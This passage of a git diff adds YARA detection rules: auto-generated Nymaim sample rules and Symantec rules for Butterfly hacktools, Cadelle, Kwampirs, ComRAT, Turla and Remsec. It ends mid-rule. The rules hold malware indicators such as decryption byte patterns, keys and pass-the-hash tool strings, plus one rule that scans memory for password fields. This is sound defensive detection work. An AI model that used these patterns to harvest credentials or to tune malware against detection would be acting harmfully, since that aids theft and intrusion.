+		reference = "not set"
+		date = "2016-11-14"
+		hash1 = "4153ff4da80c7ec5216cd65efde8766e7b448f70761ba26e45af902ed075f35b"
+	strings:
+		$s1 = "KERneL32.Dll" fullword ascii /* score: '23.00' */
+		$s2 = "ystem32\\xpsp3res.dll" fullword wide /* score: '21.42' */
+		$s3 = "http://www.bullguard.com0" fullword ascii /* score: '16.00' */
+		$s4 = "'GlobalSign TSA for MS Authenticode - G20" fullword ascii /* score: '15.00' */
+		$s5 = "attemperate" fullword ascii /* score: '15.00' */
+		$s6 = "dsethead" fullword ascii /* score: '12.00' */
+		$s7 = "horologe" fullword ascii /* score: '12.00' */
+		$s8 = "~s:\\c@" fullword ascii /* score: '11.00' */
+		$s9 = "supportless" fullword ascii /* score: '11.00' */
+		$s10 = "eebhgfahigppdgqbgdieqigepp" fullword ascii /* score: '10.00' */
+		$s11 = "cgaqgghcecfagpciapqpfgegpefdbb" fullword ascii /* score: '10.00' */
+		$s12 = "microseismometrograph" fullword ascii /* score: '9.00' */
+		$s13 = "acetmethylanilide" fullword ascii /* score: '9.00' */
+		$s14 = "zygomaticoauricularis" fullword ascii /* score: '9.00' */
+		$s15 = "sensorivasomotor" fullword ascii /* score: '9.00' */
+		$s16 = "osteogenetic" fullword ascii /* score: '8.00' */
+		$s17 = "extradural" fullword ascii /* score: '8.00' */
+		$s18 = "advancing" fullword ascii /* score: '8.00' */
+		$s19 = "motherliness" fullword ascii /* score: '8.00' */
+		$s20 = "epicheirema" fullword ascii /* score: '8.00' */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 600KB and ( 10 of ($s*) ) ) or ( all of them )
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
diff --git a/yara-mikesxrs/srozb/kronos.yar b/yara-mikesxrs/srozb/kronos.yar
new file mode 100644
index 0000000..1db6c28
Binary files /dev/null and b/yara-mikesxrs/srozb/kronos.yar differ
diff --git a/yara-mikesxrs/srozb/nymaim.yar b/yara-mikesxrs/srozb/nymaim.yar
new file mode 100644
index 0000000..b4252f6
--- /dev/null
+++ b/yara-mikesxrs/srozb/nymaim.yar
@@ -0,0 +1,75 @@
+/*
+	Yara Rule Set
+	Author: YarGen Rule Generator
+	Date: 2016-11-14
+	Identifier: nymaim
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule debounce_9_exe {
+	meta:
+		description = "Auto-generated rule - file debounce-9.exe.malware"
+		author = "YarGen Rule Generator"
+		reference = "not set"
+		date = "2016-11-14"
+		hash1 = "d9322a22645db8abf5f49257aa0c2cbfd0b86e54f5fe18871989437f77cc7690"
+	strings:
+		$x1 = "X:\\6tk\\i67\\orl\\d8tiys3\\254isaz\\af7bs\\pvwgz\\0j3uf2s\\hk0q0q\\8h58eirc\\pu6cpbr\\wrn.pdb" fullword ascii /* score: '30.00' */
+		$s2 = "}]vmP8=mP8=mP8=mP8=N3 \"L5#\"N:\"#L7%#;(" fullword ascii /* score: '16.03' */
+		$s3 = " noqcn    o.exe" fullword wide /* score: '14.03' */
+		$s4 = ":: :!:\":-:2:3:5:<:>:C:F:M:N:O:P:T:V:\\:]:_:d:h:r:s:x:{:" fullword ascii /* score: '14.00' */
+		$s5 = "\\C.1\\C.1^A+5\\C.1U?.AU?.AU?.AU?.AR>-ER>-ER>-ER>-EN9)CN9)CN9)CN9)CB0 3D0!4D0!4A*#54#" fullword ascii /* score: '14.00' */
+		$s6 = "\\C.1\\C.1\\C.1\\C.1U?.AU?.AV6*>VA+@R>-ER>-ER>-ESA*CN9)CN9)CN9)CN9)CC- 3D0!4D0!4D0!43#" fullword ascii /* score: '14.00' */
+		$s7 = "I0x8c159c17" fullword wide /* base64 encoded string '#L|s^}s^' */ /* score: '14.00' */
+		$s8 = "\\C.1\\C.1\\C.1\\C.1U?.AU?.AV>/AU?.AR>-ER>-EO:/ER>-EN9)CP6%AN9)CN9)CD0!4D0!4D0!4D0!42%" fullword ascii /* score: '14.00' */
+		$s9 = "h\"q'u+HaL{$oYB8 -ZvwL>PoBpLv\\(fy).>?dSgD#1Rz3,$k<" fullword ascii /* score: '13.00' */
+		$s10 = "\\9%I[:(cmdIiP<qj" fullword ascii /* score: '12.00' */
+		$s11 = "jKuvV;[vV;[vV;[vV;[cF.GcF.GcF.GcF.GP6$3P6$3P6$3P6$3=)" fullword ascii /* score: '12.00' */
+		$s12 = "oJwvV;[vV;[vV;[vV;[aF+IcF.GcF.GcF.GP6$3P6$3P6$3P6$3=)" fullword ascii /* score: '12.00' */
+		$s13 = "jKuvV;[vV;[vV;[vV;[cF.GcF.GcF.GcJ0DP6$3P6$3O6#1P6$3=)" fullword ascii /* score: '12.00' */
+		$s14 = "jKuvV;[vV;[vV;[vV;[cF.GcF.GcF.GjE,ER9#2P6$3P6$3P6$3=)" fullword ascii /* score: '12.00' */
+		$s15 = "N:\\ZjD4W" fullword ascii /* score: '12.00' */
+		$s16 = "u30b%-0+K.P3M)q+_<jS%RZNh%" fullword ascii /* score: '10.42' */
+		$s17 = "4&414147494B4C4F4F4G4H4L4M4N4P4R4T4V4W4Y4[4\\4e4f4s4t4z4|4~4" fullword ascii /* score: '10.42' */
+		$s18 = "9!9!9$9+9-9.9/909496989@9A9O9U9V9V9X9_9d9e9g9j9p9q9s9t9t9u9}9" fullword ascii /* score: '10.00' */
+		$s19 = "wt!yKgetgM\\f3=" fullword ascii /* score: '9.42' */
+		$s20 = "3 3\"3#3%3+3131373:3>3>3B3B3H3K3O3S3T3U3a3h3h3p3r3u3v3" fullword ascii /* score: '9.00' */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 2000KB and ( 1 of ($x*) and 5 of ($s*) ) ) or ( all of them )
+}
+
+rule glonass_65_exe {
+	meta:
+		description = "Auto-generated rule - file glonass-65.exe.malware"
+		author = "YarGen Rule Generator"
+		reference = "not set"
+		date = "2016-11-14"
+		hash1 = "25bbdc3712725db0a0845e74b36c5df287d7912533c58dfe866f3f3bfe55c7b7"
+	strings:
+		$s1 = "C:\\cr08pn8j\\z\\sfnpn\\s2g9i3k\\9tn\\l\\mame\\1l0et\\9yetid9r\\79h.pdb" fullword ascii /* score: '25.00' */
+		$s2 = "ClassicExplorerSettings.exe" fullword wide /* score: '20.00' */
+		$s3 = "; ;\";2;8;<;?;C;C;I;O;U;Y;\\;];];_;d;f;h;k;n;q;u;y;z;" fullword ascii /* score: '9.17' */
+		$s4 = "Q9Q.KUK" fullword ascii /* score: '9.00' */
+		$s5 = "<)<*<,<-</</<2<2<9<F<M<M<O<T<V<Z<[<k<o<p<r<s<s<t<u<z<" fullword ascii /* score: '9.00' */
+		$s6 = "> >\">0>1>1>6>8>=>=>B>E>H>T>V>\\>e>j>j>v>w>x>y>" fullword ascii /* score: '8.00' */
+		$s7 = ": :):-:0:5:::F:G:G:X:Y:Z:]:d:d:h:h:l:n:n:u:" fullword ascii /* score: '8.00' */
+		$s8 = "=#='=,=0=4=:=<===H=T=[=f=m=u=w=x=y=z={=|=}=" fullword ascii /* score: '8.00' */
+		$s9 = "0xba%u%u%d" fullword wide /* score: '8.00' */
+		$s10 = "t -qKu" fullword ascii /* score: '7.00' */
+		$s11 = "]/`d -eh" fullword ascii /* score: '7.00' */
+		$s12 = "hhhhee" fullword ascii /* score: '7.00' */
+		$s13 = "ME -MM='" fullword ascii /* score: '7.00' */
+		$s14 = "Copyright (C) 2009-2015, Ivo Beltchev" fullword wide /* score: '7.00' */
+		$s15 = "[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[" fullword ascii /* score: '7.00' */
+		$s16 = "JPHROE" fullword ascii /* score: '5.50' */
+		$s17 = "$-- +kNNkkkkNNNN" fullword ascii /* score: '5.17' */
+		$s18 = "\\\\0RD\"MLI  " fullword ascii /* score: '5.17' */
+		$s19 = "[[[[[[[[[[[[[[[[[[" fullword ascii /* score: '5.00' */
+		$s20 = "[[[[[[[[[[[[[[[[[[[[[[" fullword ascii /* score: '5.00' */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 2000KB and ( 10 of ($s*) ) ) or ( all of them )
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
diff --git a/yara-mikesxrs/swood/browser_pass.yar b/yara-mikesxrs/swood/browser_pass.yar
new file mode 100644
index 0000000..3bc7a6b
--- /dev/null
+++ b/yara-mikesxrs/swood/browser_pass.yar
@@ -0,0 +1,29 @@
+/* 
+This rule attempts to find passwords in memory for hotmail, yahoo, gmail, facebook, amazon, twitter.com, linkedin.com, ebay.com and perhaps others.
+
+Use with volatility yarascan like this: "vol.py -f mymem.img --profile=myprofile yarascan --yara-file=browserpass.yar"
+ */
+
+rule browser_pass
+{
+    meta:
+        author = "swood"
+        description = "This module is intended for forensicators and pen-testers to find passwords in memory that can help their case/engagement." 
+        //Use for good not evil!" 
+        reference = "https://github.com/swoodsec/YARA-RULES/blob/master/browserpass.yar"
+
+    strings:
+        $1 = "Passwd="
+        $2 = "passwd="
+        $3 = "Password="
+        $4 = "password="
+        $5 = "Pwd="
+        $6 = "pwd="
+        $7 = "Pass="
+        $8 = "pass="
+        $9 = "session_password="
+        $10 = "Session_Password="
+
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/symantec/Bannerjack.yar b/yara-mikesxrs/symantec/Bannerjack.yar
new file mode 100644
index 0000000..cb24da5
--- /dev/null
+++ b/yara-mikesxrs/symantec/Bannerjack.yar
@@ -0,0 +1,17 @@
+import "pe"
+
+rule Bannerjack
+{
+ 	meta:
+ 		author = "Symantec Security Response"
+ 		date = "2015-07-01"
+ 		description = "Butterfly BannerJack hacktool"
+ 		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/butterfly-corporate-spies-out-for-financial-gain.pdf"
+ 	strings:
+ 		$str_1 = "Usage: ./banner-jack [options]"
+ 		$str_2 = "-f: file.csv"
+ 		$str_3 = "-s: ip start"
+ 		$str_4 = "-R: timeout read (optional, default %d secs)"
+ 	condition:
+ 		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/Cadelle_1.yar b/yara-mikesxrs/symantec/Cadelle_1.yar
new file mode 100644
index 0000000..4be223a
--- /dev/null
+++ b/yara-mikesxrs/symantec/Cadelle_1.yar
@@ -0,0 +1,13 @@
+rule Cadelle_1
+{
+meta:
+	author = "Symantec"
+	reference = "http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf"
+strings:
+	$s1 = { 56 57 8B F8 8B F1 33 C0 3B F0 74 22 39 44 24 0C 74 18 0F B7 0F 66 3B C8 74 10 66 89 0A 42 42 47 47 4E FF 4C 24 0C 3B F0 75 E2 3B F0 75 07 4A 4A B8 7A 00 07 80 33 C9 5F 66 89 0A 5E C2 04 00}
+	$s2 = "ntsvc32"
+	$s3 = "ntbind32"
+condition:
+	$s1 and ($s2 or $s3)
+}
+
diff --git a/yara-mikesxrs/symantec/Cadelle_2.yar b/yara-mikesxrs/symantec/Cadelle_2.yar
new file mode 100644
index 0000000..d3f6830
--- /dev/null
+++ b/yara-mikesxrs/symantec/Cadelle_2.yar
@@ -0,0 +1,30 @@
+rule Cadelle_2
+{
+meta:
+	author = "Symantec"
+	reference = "http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf"
+strings:
+	$s1  = "[EXECUTE]" wide ascii
+	$s2  = "WebCamCapture" wide ascii
+	$s3  = "</DAY>" wide ascii
+	$s4  ="</DOCUMENT>" wide ascii
+	$s5  = "<DOCUMENT>" wide ascii
+	$s6  = "<DATETIME>" wide ascii
+	$s7  = "Can't open file for reading :" wide ascii
+	$s8  = "</DATETIME>" wide ascii
+	$s9  = "</USERNAME>" wide ascii
+	$s10 = "JpegFile :" wide ascii
+	$s12 = "[SCROLL]" wide ascii
+	$s13 = "<YEAR>" wide ascii
+	$s14 = "CURRENT DATE" wide ascii
+	$s15 = "</YEAR>" wide ascii
+	$s16 = "</MONTH>" wide ascii
+	$s17 = "<PRINTERNAME>" wide ascii
+	$s18 = "</DRIVE>" wide ascii
+	$s19 = "<DATATYPE>" wide ascii
+	$s20 = "<MACADDRESS>" wide ascii
+	$s21 = "FlashMemory" wide ascii
+condition:
+	12 of them
+}
+
diff --git a/yara-mikesxrs/symantec/Cadelle_3.yar b/yara-mikesxrs/symantec/Cadelle_3.yar
new file mode 100644
index 0000000..a33f67a
--- /dev/null
+++ b/yara-mikesxrs/symantec/Cadelle_3.yar
@@ -0,0 +1,22 @@
+rule Cadelle_3
+{
+meta:
+	author = "Symantec"
+	reference = "http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf"
+strings:
+	$s1  = "SOFTWARE\\ntsvc32\\HDD" wide ascii
+	$s2  = "SOFTWARE\\ntsvc32\\ROU" wide ascii
+	$s3  = "SOFTWARE\\ntsvc32\\HST" wide ascii
+	$s4  = "SOFTWARE\\ntsvc32\\FLS" wide ascii
+	$s5  = "ntsvc32" wide ascii
+	$s6  = ".Win$py." wide ascii
+	$s7  = "C:\\users\\" wide ascii
+	$s8  = "%system32%" wide ascii
+	$s9  = "\\Local Settings\\Temp" wide ascii
+	$s10 = "SVWATAUAVAW" wide ascii
+	$s11 = "\\AppData\\Local" wide ascii
+	$s12 = "\\AppData" wide ascii
+condition:
+	6 of them
+}
+
diff --git a/yara-mikesxrs/symantec/Cadelle_4.yar b/yara-mikesxrs/symantec/Cadelle_4.yar
new file mode 100644
index 0000000..938f7d2
--- /dev/null
+++ b/yara-mikesxrs/symantec/Cadelle_4.yar
@@ -0,0 +1,13 @@
+rule Cadelle_4
+{
+meta:
+	author = "Symantec"
+	reference = "http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf"
+strings:
+	$s1 = "AppInit_DLLs" wide ascii
+	$s2 = { 5C 00 62 00 61 00 63 00 6B 00 75 00 70 00 00 }
+	$s3 = { 5C 00 75 00 70 00 64 00 61 00 74 00 65 00 00 }
+	$s4 = "\\cmd.exe" wide ascii
+condition:
+	all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/Eventlog.yar b/yara-mikesxrs/symantec/Eventlog.yar
new file mode 100644
index 0000000..2b1fad6
--- /dev/null
+++ b/yara-mikesxrs/symantec/Eventlog.yar
@@ -0,0 +1,17 @@
+rule Eventlog 
+{ 
+	meta: 
+		author = "Symantec Security Response"
+		date = "2015-07-01" 
+		description = "Butterfly Eventlog hacktool"
+ 		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/butterfly-corporate-spies-out-for-financial-gain.pdf"
+
+	strings: 
+		$str_1= "wevtsvc.dll"
+		$str_2= "Stealing %S.evtx handle ..."
+		$str_3= "ElfChnk"
+		$str_4= "-Dr Dump all logs from a channel or .evtx file (raw"
+
+	condition: 
+		all of them 
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/Hacktool.yar b/yara-mikesxrs/symantec/Hacktool.yar
new file mode 100644
index 0000000..8967659
--- /dev/null
+++ b/yara-mikesxrs/symantec/Hacktool.yar
@@ -0,0 +1,18 @@
+rule Hacktool 
+{ 
+	meta: 
+		author = "Symantec Security Response"
+		date = "2015-07-01" 
+		description = "Butterfly hacktool"
+		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/butterfly-corporate-spies-out-for-financial-gain.pdf"
+
+	strings: 
+		$str_1 = "\\\\.\\pipe\\winsession" wide 
+		$str_2 = "WsiSvc" wide 
+		$str_3 = "ConnectNamedPipe"
+		$str_4 = "CreateNamedPipeW" 
+		$str_5 = "CreateProcessAsUserW"
+        
+	condition: 
+		all of them 
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/Kwampirs.yar b/yara-mikesxrs/symantec/Kwampirs.yar
new file mode 100644
index 0000000..a759984
--- /dev/null
+++ b/yara-mikesxrs/symantec/Kwampirs.yar
@@ -0,0 +1,74 @@
+rule Kwampirs
+{
+ meta:
+ copyright = "Symantec"
+ reference = "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
+ family = "Kwampirs"
+ description = "Kwampirs dropper and main payload components"
+ strings:
+$pubkey =
+ {
+ 06 02 00 00 00 A4 00 00 52 53 41 31 00 08 00 00
+ 01 00 01 00 CD 74 15 BC 47 7E 0A 5E E4 35 22 A5
+ 97 0C 65 BE E0 33 22 F2 94 9D F5 40 97 3C 53 F9
+ E4 7E DD 67 CF 5F 0A 5E F4 AD C9 CF 27 D3 E6 31
+ 48 B8 00 32 1D BE 87 10 89 DA 8B 2F 21 B4 5D 0A
+ CD 43 D7 B4 75 C9 19 FE CC 88 4A 7B E9 1D 8C 11
+ 56 A6 A7 21 D8 C6 82 94 C1 66 11 08 E6 99 2C 33
+ 02 E2 3A 50 EA 58 D2 A7 36 EE 5A D6 8F 5D 5D D2
+ 9E 04 24 4A CE 4C B6 91 C0 7A C9 5C E7 5F 51 28
+ 4C 72 E1 60 AB 76 73 30 66 18 BE EC F3 99 5E 4B
+ 4F 59 F5 56 AD 65 75 2B 8F 14 0C 0D 27 97 12 71
+ 6B 49 08 84 61 1D 03 BA A5 42 92 F9 13 33 57 D9
+ 59 B3 E4 05 F9 12 23 08 B3 50 9A DA 6E 79 02 36
+ EE CE 6D F3 7F 8B C9 BE 6A 7E BE 8F 85 B8 AA 82
+ C6 1E 14 C6 1A 28 29 59 C2 22 71 44 52 05 E5 E6
+ FE 58 80 6E D4 95 2D 57 CB 99 34 61 E9 E9 B3 3D
+ 90 DC 6C 26 5D 70 B4 78 F9 5E C9 7D 59 10 61 DF
+ F7 E4 0C B3
+ }
+ 
+ $network_xor_key =
+ {
+ B7 E9 F9 2D F8 3E 18 57 B9 18 2B 1F 5F D9 A5 38
+ C8 E7 67 E9 C6 62 9C 50 4E 8D 00 A6 59 F8 72 E0
+ 91 42 FF 18 A6 D1 81 F2 2B C8 29 EB B9 87 6F 58
+ C2 C9 8E 75 3F 71 ED 07 D0 AC CE 28 A1 E7 B5 68
+ CD CF F1 D8 2B 26 5C 31 1E BC 52 7C 23 6C 3E 6B
+ 8A 24 61 0A 17 6C E2 BB 1D 11 3B 79 E0 29 75 02
+ D9 25 31 5F 95 E7 28 28 26 2B 31 EC 4D B3 49 D9
+ 62 F0 3E D4 89 E4 CC F8 02 41 CC 25 15 6E 63 1B
+ 10 3B 60 32 1C 0D 5B FA 52 DA 39 DF D1 42 1E 3E
+ BD BC 17 A5 96 D9 43 73 3C 09 7F D2 C6 D4 29 83
+ 3E 44 44 6C 97 85 9E 7B F0 EE 32 C3 11 41 A3 6B
+ A9 27 F4 A3 FB 2B 27 2B B6 A6 AF 6B 39 63 2D 91
+ 75 AE 83 2E 1E F8 5F B5 65 ED B3 40 EA 2A 36 2C
+ A6 CF 8E 4A 4A 3E 10 6C 9D 28 49 66 35 83 30 E7
+ 45 0E 05 ED 69 8D CF C5 40 50 B1 AA 13 74 33 0F
+ DF 41 82 3B 1A 79 DC 3B 9D C3 BD EA B1 3E 04 33
+ }
+
+$decrypt_string =
+ {
+ 85 DB 75 09 85 F6 74 05 89 1E B0 01 C3 85 FF 74
+ 4F F6 C3 01 75 4A 85 F6 74 46 8B C3 D1 E8 33 C9
+ 40 BA 02 00 00 00 F7 E2 0F 90 C1 F7 D9 0B C8 51
+ E8 12 28 00 00 89 06 8B C8 83 C4 04 33 C0 85 DB
+ 74 16 8B D0 83 E2 0F 8A 92 1C 33 02 10 32 14 38
+ 40 88 11 41 3B C3 72 EA 66 C7 01 00 00 B0 01 C3
+ 32 C0 C3
+ }
+
+ $init_strings =
+ {
+ 55 8B EC 83 EC 10 33 C9 B8 0D 00 00 00 BA 02 00
+ 00 00 F7 E2 0F 90 C1 53 56 57 F7 D9 0B C8 51 E8
+ B3 27 00 00 BF 05 00 00 00 8D 77 FE BB 4A 35 02
+ 10 2B DE 89 5D F4 BA 48 35 02 10 4A BB 4C 35 02
+ 10 83 C4 04 2B DF A3 C8 FC 03 10 C7 45 FC 00 00
+ 00 00 8D 4F FC 89 55 F8 89 5D F0 EB 06
+ }
+
+ condition:
+ 2 of them
+}
diff --git a/yara-mikesxrs/symantec/Multipurpose.yar b/yara-mikesxrs/symantec/Multipurpose.yar
new file mode 100644
index 0000000..84d9b2e
--- /dev/null
+++ b/yara-mikesxrs/symantec/Multipurpose.yar
@@ -0,0 +1,15 @@
+rule Multipurpose 
+{ 
+	meta: 
+		author = "Symantec Security Response"
+		date = "2015-07-01" 
+		description = "Butterfly Multipurpose hacktool" 
+		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/butterfly-corporate-spies-out-for-financial-gain.pdf"
+	strings: 
+		$str_1 = "dump %d|%d|%d|%d|%d|%d|%s|%d"
+		$str_2 = "kerberos%d.dll"
+		$str_3 = "\\\\.\\pipe\\lsassp" 
+		$str_4 = "pth <PID:USER:DOMAIN:NTLM>: change" 
+	condition: 
+		all of them 
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/Proxy.yar b/yara-mikesxrs/symantec/Proxy.yar
new file mode 100644
index 0000000..ffcfde4
--- /dev/null
+++ b/yara-mikesxrs/symantec/Proxy.yar
@@ -0,0 +1,17 @@
+rule Proxy
+{ 
+	meta: 
+		author = "Symantec Security Response"
+		date = "2015-07-01"
+		description = "Butterfly proxy hacktool" 
+		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/butterfly-corporate-spies-out-for-financial-gain.pdf"
+
+	strings: 
+		$str_1 = "-u user : proxy username" 
+		$str_2 = "--pleh : displays help" 
+		$str_3 = "-x ip/host : proxy ip or host" 
+		$str_4 = "-m : bypass mutex check"
+        
+	condition: 
+		all of them 
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/Securetunnel.yar b/yara-mikesxrs/symantec/Securetunnel.yar
new file mode 100644
index 0000000..adacc31
--- /dev/null
+++ b/yara-mikesxrs/symantec/Securetunnel.yar
@@ -0,0 +1,17 @@
+rule Securetunnel 
+	{ 
+	meta: 
+		author = "Symantec Security Response"
+		date = "2015-07-01"
+		description = "Butterfly Securetunnel hacktool"
+		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/butterfly-corporate-spies-out-for-financial-gain.pdf"
+
+	strings: 
+		$str_1 = "KRB5CCNAME" 
+		$str_2 = "SSH _ AUTH _ SOCK" 
+		$str_3 = "f:l:u:cehR" 
+		$str_4 = ".o+=*BOX@%&#/^SE"
+
+	condition: 
+		all of them 
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/comrat.yar b/yara-mikesxrs/symantec/comrat.yar
new file mode 100644
index 0000000..2582bee
--- /dev/null
+++ b/yara-mikesxrs/symantec/comrat.yar
@@ -0,0 +1,18 @@
+rule comrat
+{
+	meta:
+		author = "Symantec"
+		malware = "COMRAT"		
+        Reference="https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"
+
+	strings:
+		$mz = "MZ"
+		$b = {C645????}
+		$c = {C685??FEFFFF??}
+		//$d = {FFA0??0?0000}
+		$e = {89A8??00000068??00000056FFD78B}
+		$f = {00004889????030000488B}
+	
+	condition:
+		($mz at 0) and ((#c > 200 and #b > 200 ) /*or (#d > 40)*/ and (#e > 15 or #f > 30))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/fa.yar b/yara-mikesxrs/symantec/fa.yar
new file mode 100644
index 0000000..5d5114e
--- /dev/null
+++ b/yara-mikesxrs/symantec/fa.yar
@@ -0,0 +1,19 @@
+rule fa
+{
+	meta:
+ 		author = "Symantec"
+ 		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"
+
+ 	strings:
+ 		$mz = "MZ"
+ 		$string1 = "C:\\proj\\drivers\\fa _ 2009\\objfre\\i386\\atmarpd.pdb"
+
+		$string2 = "d:\\proj\\cn\\fa64\\"
+		$string3 = "sengoku _ Win32.sys\x00"
+		$string4 = "rk _ ntsystem.c"
+		$string5 = "\\uroboros\\"
+		$string6 = "shell.{F21EDC09-85D3-4eb9-915F-1AFA2FF28153}"
+
+	condition:
+ 		($mz at 0) and (any of ($string*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/isPE.yar b/yara-mikesxrs/symantec/isPE.yar
new file mode 100644
index 0000000..105b8b7
--- /dev/null
+++ b/yara-mikesxrs/symantec/isPE.yar
@@ -0,0 +1,9 @@
+private rule isPE
+{
+	meta:
+		Author = "Symantec"
+		Reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
+
+ 	condition:
+ 		uint16(0) == 0x5A4D and uint32(uint32(0x3c)) == 0x00004550
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/jiripbot _ ascii _ str _ decrypt.yar b/yara-mikesxrs/symantec/jiripbot _ ascii _ str _ decrypt.yar
new file mode 100644
index 0000000..38dce24
--- /dev/null
+++ b/yara-mikesxrs/symantec/jiripbot _ ascii _ str _ decrypt.yar	
@@ -0,0 +1,12 @@
+rule jiripbot_ascii_str_decrypt 
+{ 
+	meta: 
+		author ="Symantec Security Response"
+		date ="2015-07-01" 
+		description ="Butterfly Jiripbot hacktool" 
+		reference ="https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/butterfly-corporate-spies-out-for-financial-gain.pdf"
+	strings: 
+		$decrypt_func = {85 FF 75 03 33 C0 C3 8B C7 8D 50 01 8A 08 40 84 C9 75 F9 2B C2 53 8B D8 80 7C 3B FF ?? 75 3E 83 3D ?? ?? ?? ?? 00 56 BE ?? ?? ?? ?? 75 11 56 FF 15 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 01 00 00 00 56 FF 15 ?? ?? ?? ?? 33 C0 85 DB 74 09 80 34 38 ?? 40 3B C3 72 F7 56 FF 15 ?? ?? ?? ?? 5E 8B C7 5B C3} 
+	condition: 
+		$decrypt_func 
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/jiripbot _ unicode _ str _ decrypt.yar b/yara-mikesxrs/symantec/jiripbot _ unicode _ str _ decrypt.yar
new file mode 100644
index 0000000..2ccc98c
--- /dev/null
+++ b/yara-mikesxrs/symantec/jiripbot _ unicode _ str _ decrypt.yar	
@@ -0,0 +1,13 @@
+rule jiripbot_unicode_str_decrypt 
+{ 
+	meta: 
+		author = "Symantec Security Response"
+		date = "2015-07-01"
+		description = "Butterfly Jiripbot Unicode hacktool"
+        reference ="https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/butterfly-corporate-spies-out-for-financial-gain.pdf"
+
+	strings: 
+		$decrypt = {85 ?? 75 03 33 C0 C3 8B ?? 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 57 8B F8 B8 ?? ?? ?? ?? 66 39 44 7E FE 75 43 83 3D ?? ?? ?? ?? 00 53 BB ?? ?? ?? ?? 75 11 53 FF 15 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 01 00 00 00 53 FF 15 ?? ?? ?? ?? 33 C0 85 FF 74 0E B9 ?? 00 00 00 66 31 0C 46 40 3B C7 72 F2 53 FF 15 ?? ?? ?? ?? 5B 8B C6 5F C3 } 
+	condition: 
+		$decrypt 
+}
diff --git a/yara-mikesxrs/symantec/remsec_encrypted_api.yar b/yara-mikesxrs/symantec/remsec_encrypted_api.yar
new file mode 100644
index 0000000..603eec0
--- /dev/null
+++ b/yara-mikesxrs/symantec/remsec_encrypted_api.yar
@@ -0,0 +1,15 @@
+rule remsec_encrypted_api
+{
+meta:
+copyright = "Symantec"
+strings:
+$open_process =
+/*
+"OpenProcess
+\
+x00" in encrypted form
+*/
+{ 91 9A 8F B0 9C 90 8D AF 8C 8C 9A FF }
+condition:
+all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/remsec_executable_blob_32.yar b/yara-mikesxrs/symantec/remsec_executable_blob_32.yar
new file mode 100644
index 0000000..6a8c4b1
--- /dev/null
+++ b/yara-mikesxrs/symantec/remsec_executable_blob_32.yar
@@ -0,0 +1,26 @@
+rule remsec_executable_blob_32
+{
+meta:
+copyright = "Symantec"
+strings:
+$code =
+/*
+31 06                       l0: xor     [esi], eax
+83 C6 04                        add     esi, 4
+D1 E8                           shr     eax, 1
+73 05              
+jnb     short l1
+35 01 00 00 D0                  xor     eax, 0D0000001h
+E2 F0                       l1: loop    l0
+*/
+{
+31 06
+83 C6 04
+D1 E8
+73 05
+35 01 00 00 D0
+E2 F0
+}
+condition:
+all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/remsec_executable_blob_64.yar b/yara-mikesxrs/symantec/remsec_executable_blob_64.yar
new file mode 100644
index 0000000..d2767dd
--- /dev/null
+++ b/yara-mikesxrs/symantec/remsec_executable_blob_64.yar
@@ -0,0 +1,27 @@
+rule remsec_executable_blob_64
+{
+meta:
+copyright = "Symantec"
+strings:
+$code =
+/*
+31 06                       l0: xor   
+[rsi], eax
+48 83 C6 04                     add     rsi, 4
+D1 E8                           shr     eax, 1
+73 05                           jnb     short l1
+35 01 00 00 D0                  xor     eax, 0D00000
+01h
+E2 EF                       l1: loop    l0
+*/
+{
+31 06
+48 83 C6 04
+D1 E8
+73 05
+35 01 00 00 D0
+E2 EF
+}
+condition:
+all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/remsec_executable_blob_parser.yar b/yara-mikesxrs/symantec/remsec_executable_blob_parser.yar
new file mode 100644
index 0000000..d127ea4
--- /dev/null
+++ b/yara-mikesxrs/symantec/remsec_executable_blob_parser.yar
@@ -0,0 +1,30 @@
+rule 
+remsec_executable_blob_parser
+{
+meta:
+copyright = "Symantec"
+strings:
